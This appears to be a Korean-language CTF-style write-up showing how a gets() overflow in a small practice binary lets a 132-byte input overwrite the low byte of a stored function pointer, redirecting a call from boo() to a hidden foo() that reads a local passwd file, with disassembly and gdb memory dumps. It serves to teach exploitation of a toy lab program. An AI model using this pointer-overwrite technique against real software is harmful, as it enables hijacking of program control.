오버플로우를 이용하여 함수의 흐름 변경 문제

문제 코드는 아래와 같다.

; Attributes: bp-based frame

public main
main proc near

s= byte ptr -8Ch
var_C= dword ptr -0Ch
var_8= dword ptr -8

lea     ecx, [esp+4]
and     esp, 0FFFFFFF0h
push    dword ptr [ecx-4]
push    ebp
mov     ebp, esp
push    ecx
sub     esp, 0A4h
mov     [ebp+var_8], offset boo
lea     eax, [ebp+s]
mov     [esp], eax      ; s
call    _gets
lea     eax, [ebp+s]
mov     [esp+4], eax
mov     dword ptr [esp], offset aS ; "%s"
call    _printf
mov     eax, [ebp+var_8]
call    eax
mov     [ebp+var_C], eax
mov     eax, 0
add     esp, 0A4h
pop     ecx
pop     ebp
lea     esp, [ecx-4]
retn
main endp

취약점은 s 변수의 크기가 140 Byte 이므로 140 Byte 이상 인자를 주면 일단 오버플로우는 발생한다. 다만 이번 문제에서는 숨겨진 foo() 함수를 실행하는 것이 관건이다.

디버깅을 해보면 0x080485C1 주소가 스택에 고정적으로 들어가 있다. 이부분을 변경하여 foo() 함수로 가도록 변경시켜야 하는데 foo() 함수의 주소는 0x080484F4 이다. 여기서 초기 몇 바이트는 건너뛰어도 상관없으므로 0x080485C1 주소를 마지막 C1 만
오버플로우로 덮어써버리면 우리가 원하는 함수로 이동시킬 수 있다.

그럼 디버깅을 해보도록 하자.

[root@ByJJoon study]# gdb chal 
GNU gdb Fedora (6.8-24.fc9)
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(no debugging symbols found)
(gdb) disassemble main
Dump of assembler code for function main:
0x080485da <main+0>:    lea    0x4(%esp),%ecx
0x080485de <main+4>:    and    $0xfffffff0,%esp
0x080485e1 <main+7>:    pushl  -0x4(%ecx)
0x080485e4 <main+10>:   push   %ebp
0x080485e5 <main+11>:   mov    %esp,%ebp
0x080485e7 <main+13>:   push   %ecx
0x080485e8 <main+14>:   sub    $0xa4,%esp
0x080485ee <main+20>:   movl   $0x80485c1,-0x8(%ebp)
0x080485f5 <main+27>:   lea    -0x8c(%ebp),%eax
0x080485fb <main+33>:   mov    %eax,(%esp)
0x080485fe <main+36>:   call   0x8048398 <gets@plt>
0x08048603 <main+41>:   lea    -0x8c(%ebp),%eax
0x08048609 <main+47>:   mov    %eax,0x4(%esp)
0x0804860d <main+51>:   movl   $0x8048730,(%esp)
0x08048614 <main+58>:   call   0x80483d8 <printf@plt>
0x08048619 <main+63>:   mov    -0x8(%ebp),%eax
0x0804861c <main+66>:   call   *%eax
0x0804861e <main+68>:   mov    %eax,-0xc(%ebp)
0x08048621 <main+71>:   mov    $0x0,%eax
0x08048626 <main+76>:   add    $0xa4,%esp
0x0804862c <main+82>:   pop    %ecx
0x0804862d <main+83>:   pop    %ebp
0x0804862e <main+84>:   lea    -0x4(%ecx),%esp
0x08048631 <main+87>:   ret    
End of assembler dump.
(gdb) b *main+66
Breakpoint 1 at 0x804861c
(gdb) r
Starting program: /home/byjjoon/study/chal 
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

Breakpoint 1, 0x0804861c in main ()
Missing separate debuginfos, use: debuginfo-install glibc.i686
(gdb) x/32wx $esp
0xbfb3a150:     0x08048730      0xbfb3a16c      0x00000000      0x00000018
0xbfb3a160:     0x00000000      0x00000028      0x00000030      0x41414141
0xbfb3a170:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfb3a180:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfb3a190:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfb3a1a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfb3a1b0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfb3a1c0:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) 
0xbfb3a1d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfb3a1e0:     0x41414141      0x41414141      0x41414141      0x00414141
0xbfb3a1f0:     0x080485c1      0xbfb3a210      0xbfb3a268      0x009095d6
0xbfb3a200:     0x08048650      0x08048420      0xbfb3a268      0x009095d6
0xbfb3a210:     0x00000001      0xbfb3a294      0xbfb3a29c      0x008f0810
0xbfb3a220:     0x00000000      0x00000001      0x00000001      0x00000000
0xbfb3a230:     0x00a57ff4      0x00000000      0x08048420      0xbfb3a268
0xbfb3a240:     0xe1b2ad48      0xa7ddba36      0x00000000      0x00000000
(gdb) x/32wx 0x080485c1
0x80485c1 <boo>:        0x83e58955      0x04c708ec      0x04872924      0xfe05e808
0x80485d1 <boo+16>:     0x02b8ffff      0xc9000000      0x244c8dc3      0xf0e48304
0x80485e1 <main+7>:     0x55fc71ff      0x8151e589      0x0000a4ec      0xf845c700
0x80485f1 <main+23>:    0x080485c1      0xff74858d      0x0489ffff      0xfd95e824
0x8048601 <main+39>:    0x858dffff      0xffffff74      0x04244489      0x302404c7
0x8048611 <main+55>:    0xe8080487      0xfffffdbf      0xfff8458b      0xf44589d0
0x8048621 <main+71>:    0x000000b8      0xa4c48100      0x59000000      0xfc618d5d
0x8048631 <main+87>:    0x909090c3      0x90909090      0x90909090      0x55909090

A를 131개 넣고 확인하면 0x080485c1 주소가 있다. 해당 주소는 boo()의 주소이다.

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/byjjoon/study/chal 
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x0804861c in main ()
(gdb) x/32wx $esp
0xbfcb0fb0:     0x08048730      0xbfcb0fcc      0x00000000      0x00000018
0xbfcb0fc0:     0x00000000      0x00000028      0x00000030      0x41414141
0xbfcb0fd0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfcb0fe0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfcb0ff0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfcb1000:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfcb1010:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfcb1020:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) 
0xbfcb1030:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfcb1040:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfcb1050:     0x08048500      0xbfcb1070      0xbfcb10c8      0x009095d6
0xbfcb1060:     0x08048650      0x08048420      0xbfcb10c8      0x009095d6
0xbfcb1070:     0x00000001      0xbfcb10f4      0xbfcb10fc      0x008f0810
0xbfcb1080:     0x00000000      0x00000001      0x00000001      0x00000000
0xbfcb1090:     0x00a57ff4      0x00000000      0x08048420      0xbfcb10c8
0xbfcb10a0:     0x7a61c52e      0xcd6a1250      0x00000000      0x00000000
(gdb) x/32wx 0x08048500
0x8048500 <foo+12>:     0xf1e80804      0xc7fffffe      0x00042444      0xc7000000
0x8048510 <foo+28>:     0x00002404      0xcde80000      0xb8fffffe      0x080498e0
0x8048520 <foo+44>:     0x000100ba      0x24548900      0x2444c708      0x00000004
0x8048530 <foo+60>:     0x24048900      0xfffe6fe8      0x2444c7ff      0x00000004
0x8048540 <foo+76>:     0x2404c700      0x0804871a      0xfffe2be8      0xf84589ff
0x8048550 <foo+92>:     0xfff87d83      0x04c71875      0x04872324      0xfe96e808
0x8048560 <foo+108>:    0x04c7ffff      0x00000124      0xfe9ae800      0x44c7ffff
0x8048570 <foo+124>:    0x01000824      0x44c70000      0x98e00424      0x458b0804
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?E天
test

Program received signal SIGSEGV, Segmentation fault.
0x080485c0 in foo ()
(gdb) q
The program is running.  Exit anyway? (y or n) y
[root@ByJJoon study]# cat passwd 
test
[root@ByJJoon study]# 

A를 132개 넣으면 0x080485c1 주소에서 마지막 한바이트를 00으로 덮어서 0x08048500 이 되고 해당 주소는 foo+12 위치이다. foo() 함수는 "passwd" 파일을 읽는 기능을 수행한다.

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다